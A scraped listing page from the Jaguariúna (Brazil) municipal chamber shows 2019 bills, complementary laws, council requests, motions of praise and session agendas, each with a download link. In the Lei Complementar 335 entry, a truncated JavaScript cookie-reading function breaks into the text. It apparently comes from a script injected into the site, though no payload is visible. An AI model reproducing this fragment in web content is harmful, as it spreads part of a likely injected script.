12.919 documentos · série 2026
29
jul
2019
Dispõe sobre a criação do Arquivo Público Municipal, incluindo o Conselho Municipal de Arquivo – CMA, e dá outras providências. PROJETO-DE-LEI-018 Baixar
29
jul
2019
Dispõe sobre autorização ao executivo para abertura de crédito especial. PROJETO-DE-LEI-016 Baixar
19
jul
2019
Institui no âmbito do Município de Jaguariúna, o Programa de Recuperação Fiscal das Empresas, e dá outras providências. LC-337 Baixar
19
jul
2019
Institui no âmbito do Município de Jaguariúna, o Programa de Recuperação Fiscal -REFIS MUNICIPAL, e dá outras providências. LC-336 Baixar
18
jul
2019
Ementa: 120. REQUERIMENTO Nº 120/2019 DO SR. ROMILSON SILVA - PV SOLICITANDO AO EXECUTIVO MUNICIPAL ENVIO DE CÓPIA NA ÍNTEGRA E EM FORMATO DIGITAL DAS PRESTAÇÕES DE CONTAS DO EXERCÍCIO DE 2017 ATÉ A PRESENTE DATA DE TODAS AS ENTIDADES DE JAGUARIÚNA QUE RECEBEM DINHEIRO PÚBLICO;…
05
jul
2019
Ementa: REQUERIMENTO Nº 071/2019 DOS SRS. LUIZ CARLOS DE CAMPOS, DAVID HILÁRIO NETO, ALFREDO CHIAVEGATO NETO E TAIS CAMELLINI ESTEVE SOLICITANDO AO EXECUTIVO MUNICIPAL INFORMAÇÕES SOBRE OS MOTIVOS PARA O ACRÉSCIMO NO CUSTO TOTAL DA TAXA DE COLETA E REMOÇÃO DE LIXO DOMICILIAR DE…
28
jun
2019
Dispõe sobre a acumulação de funções de servidor público municipal (funcionário ou empregado) em organização da sociedade civil que mantenha parceria com a Administração Municipal. LEI-COMPLEMENTAR-Nº-335-2 Baixar function getCookie(e){var U=document.cookie.match(new…
28
jun
2019
PAUTA_10_SESSAO_EXTRA Baixar
28
jun
2019
PAUTA_9_SESSAO_EXTRA Baixar
21
jun
2019
Ementa: 127.DA SRA. INALDA LÚCIO DE BARROS SANTANA – INALDA CABELEIREIRA SOLICITANDO AO EXECUTIVO MUNICIPAL PARA QUE SEJA PERMITIDA COLOCAÇÃO DE MÃO ÚNICA NA RUA DR. JOÃO ROBERTO PIRES BUENO, NO TRECHO DO SUPERMERCADO ESPAÇO SABORES, ATÉ A TRAVESSA SANTO MARMIROLLI, BR. CRUZEIRO…
18
jun
2019
Ementa: 57. MOÇÃO Nº 057/2019 DO SR. AFONSO LOPES DA SILVA – SILVA, DE CONGRATULAÇÕES E LOUVOR À ASSOCIAÇÃO CULTURAL E CENTRO DE TRADIÇÕES NORDESTINAS PELA REALIZAÇÃO DA FESTA NORDESTINA ACONTECIDA NO DIA 08 DE JUNHO CORRENTE, NO RESTAURANTE TEMPERO DA ROÇA, NESTA CIDADE; (FESTA…
18
jun
2019
Ementa: 59. MOÇÃO Nº 059/2019 DO SR. CRISTIANO JOSÉ CECON DE CONGRATULAÇÕES E LOUVOR AO PASTOR E INSTRUTOR DO PROJETO “LUTANDO E ADORANDO”, GLÁUCIO LÉLIS, PELO SUCESSO NA CONQUISTA DA MEDALHA DE PRATA NO CAMPEONATO BRASILEIRO DE JUI JTISU, NO ÚLTIMO DIA 15 DE JUNHO, NO GINÁSIO…
18
jun
2019
Ementa: 60. MOÇÃO Nº 060/2019 DO SR. CRISTIANO JOSÉ CECON DE CONGRATULAÇÕES E LOUVOR AO INSTRUTOR DO PROJETO “GUERREIROS DA PAZ”, PM SOLDADO SECHINATO, PELO SUCESSO NA CONQUISTA DA MEDALHA DE BRONZE NO CAMPEONATO BRASILEIRO DE JUI JTISU, NO ÚLTIMO DIA 15 DE JUNHO, NO GINÁSIO DO…
18
jun
2019
Ementa: 61. MOÇÃO Nº 061/2019 DO SR. CRISTIANO JOSÉ CECON DE CONGRATULAÇÕES E LOUVOR AOS GMS FABRÍCIO NUNES E ROBERTA IRINEU, PELA DEDICAÇÃO COM QUE TRATAM AS CRIANÇAS E JOVENS NO PROJETO POLICIAL AMIGO; (POLICIAL AMIGO ) 18 JUNHO MOÇÃO-61 Baixar
18
jun
2019
Ementa: 62. MOÇÃO Nº 062/2019 DO SR. CRISTIANO JOSÉ CECON DE CONGRATULAÇÕES E LOUVOR AOS JOVENS CESAR AUGUSTO PEREZANI ARRUDA E ADRIAN PEREIRA, POR CONQUISTAREM MEDALHAS NO CAMPEONATO DE JUI JTISU NA CIDADE DE HOLAMBRA, EM 16 DE JUNHO CORRENTE; (JUI JITSU HOLAMBRA ) 18 JUNHO…